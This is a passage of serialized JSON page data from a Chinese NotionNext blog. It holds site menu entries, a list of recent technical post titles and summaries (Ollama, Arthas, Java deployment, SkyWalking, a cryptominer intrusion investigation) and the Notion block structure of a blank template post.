2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-10","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范","title":"空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:03.738Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97","pageCoverThumbnail":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"95ddf5c1-569e-4c61-a1e8-6507fe59fc97":{"value":{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","version":7,"type":"page","content":["c4ae2757-06af-414a-a57e-b220235fe4f8","51246bd8-8b54-4aed-8890-6ff7f9754758","e47b90fd-4cef-4aa7-8253-733c2fb825c6","51e5efa1-5316-4f26-a034-a63d627d119a","1a99baa7-cd61-4f67-a8db-a8b44045a3a3","68a4a544-5986-4d0e-838e-5d896c28d491","6f00b74f-9168-4ba4-9b78-02b073817e2e","575c2b55-b7ab-415d-ab01-7127fa80b461","3059d59e-6321-4cf7-b83b-980793108c72","e22d3df7-942e-4ba6-bcb5-d98043c85699","af3c2cc6-ba7d-4419-a4c8-ca13bfa4f703","7618802b-85cf-439d-9bf7-b309f06ab819","516b8278-e818-46dc-ada0-b6c50c617bb1","45d1a941-6e76-44ee-b686-c9048159b959"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"0a19abd9-8685-4e4d-97e1-f0adaba36edf","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337109,"last_edited_time":1705630803738,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"0a19abd9-8685-4e4d-97e1-f0adaba36edf","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"c4ae2757-06af-414a-a57e-b220235fe4f8":{"value":{"id":"c4ae2757-06af-414a-a57e-b220235fe4f8","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["0e0a78c5-5bce-4d66-9749-760aba8bf0e2"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"cb5d573a-b79c-4194-8352-893d809df35a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"cb5d573a-b79c-4194-8352-893d809df35a"}},"0e0a78c5-5bce-4d66-9749-760aba8bf0e2":{"value":{"id":"0e0a78c5-5bce-4d66-9749-760aba8bf0e2","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"73912305-952d-462b-b687-4d72dceb8b78","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"c4ae2757-06af-414a-a57e-b220235fe4f8","parent_table":"block","alive":true,"copied_from":"73912305-952d-462b-b687-4d72dceb8b78"}},"51246bd8-8b54-4aed-8890-6ff7f9754758":{"value":{"id":"51246bd8-8b54-4aed-8890-6ff7f9754758","type":"text","format":{"copied_from_pointer":{"id":"adad90e4-2d39-4142-b1e8-bb8f78c2fd85","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"adad90e4-2d39-4142-b1e8-bb8f78c2fd85"}},"e47b90fd-4cef-4aa7-8253-733c2fb825c6":{"value":{"id":"e47b90fd-4cef-4aa7-8253-733c2fb825c6","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"f75da7bd-9726-4cba-89b7-20dc21133a56","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"f75da7bd-9726-4cba-89b7-20dc21133a56"}},"51e5efa1-5316-4f26-a034-a63d627d119a":{"value":{"id":"51e5efa1-5316-4f26-a034-a63d627d119a","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"394c875f-8f54-4ec1-a0b2-a3700bfe46ce","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"394c875f-8f54-4ec1-a0b2-a3700bfe46ce"}},"1a99baa7-cd61-4f67-a8db-a8b44045a3a3":{"value":{"id":"1a99baa7-cd61-4f67-a8db-a8b44045a3a3","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"29527844-3175-4d0b-a8be-cb7e207c32b2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"29527844-3175-4d0b-a8be-cb7e207c32b2"}},"68a4a544-5986-4d0e-838e-5d896c28d491":{"value":{"id":"68a4a544-5986-4d0e-838e-5d896c28d491","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"89e3fb68-e2b8-4ad8-b3c4-ead1544e4050","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"89e3fb68-e2b8-4ad8-b3c4-ead1544e4050"}},"6f00b74f-9168-4ba4-9b78-02b073817e2e":{"value":{"id":"6f00b74f-9168-4ba4-9b78-02b073817e2e","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"e3bd5acb-d417-4bfa-ab56-d4acef957911","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"e3bd5acb-d417-4bfa-ab56-d4acef957911"}},"575c2b55-b7ab-415d-ab01-7127fa80b461":{"value":{"id":"575c2b55-b7ab-415d-ab01-7127fa80b461","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"67079502-876a-46c5-8416-8bb84bd5db33","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"67079502-876a-46c5-8416-8bb84bd5db33"}},"3059d59e-6321-4cf7-b83b-980793108c72":{"value":{"id":"3059d59e-6321-4cf7-b83b-980793108c72","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"794dc0d2-2a7e-44f9-a667-be8159328dca","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"794dc0d2-2a7e-44f9-a667-be8159328dca"}},"e22d3df7-942e-4ba6-bcb5-d98043c85699":{"value":{"id":"e22d3df7-942e-4ba6-bcb5-d98043c85699","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"ae4cd417-6b57-491a-9693-993fd00ae720","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"ae4cd417-6b57-491a-9693-993fd00ae720"}},"af3c2cc6-ba7d-4419-a4c8-ca13bfa4f703":{"value":{"id":"af3c2cc6-ba7d-4419-a4c8-ca13bfa4f703","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"f2f5193f-777c-48ae-9f6c-c6d460c8f26e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"f2f5193f-777c-48ae-9f6c-c6d460c8f26e"}},"7618802b-85cf-439d-9bf7-b309f06ab819":{"value":{"id":"7618802b-85cf-439d-9bf7-b309f06ab819","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"efaf1221-c25c-4007-81ea-a2b98b75e04a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337116,"last_edited_time":1705594337116,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"efaf1221-c25c-4007-81ea-a2b98b75e04a"}},"516b8278-e818-46dc-ada0-b6c50c617bb1":{"value":{"id":"516b8278-e818-46dc-ada0-b6c50c617bb1","type":"text","format":{"copied_from_pointer":{"id":"4a8fe871-c808-4f6e-ad6d-add544f66e20","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"4a8fe871-c808-4f6e-ad6d-add544f66e20"}},"45d1a941-6e76-44ee-b686-c9048159b959":{"value":{"id":"45d1a941-6e76-44ee-b686-c9048159b959","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"172bb677-43b3-4aaf-afbb-edc265e405c1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337115,"last_edited_time":1705594337115,"parent_id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","parent_table":"block","alive":true,"copied_from":"172bb677-43b3-4aaf-afbb-edc265e405c1"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605db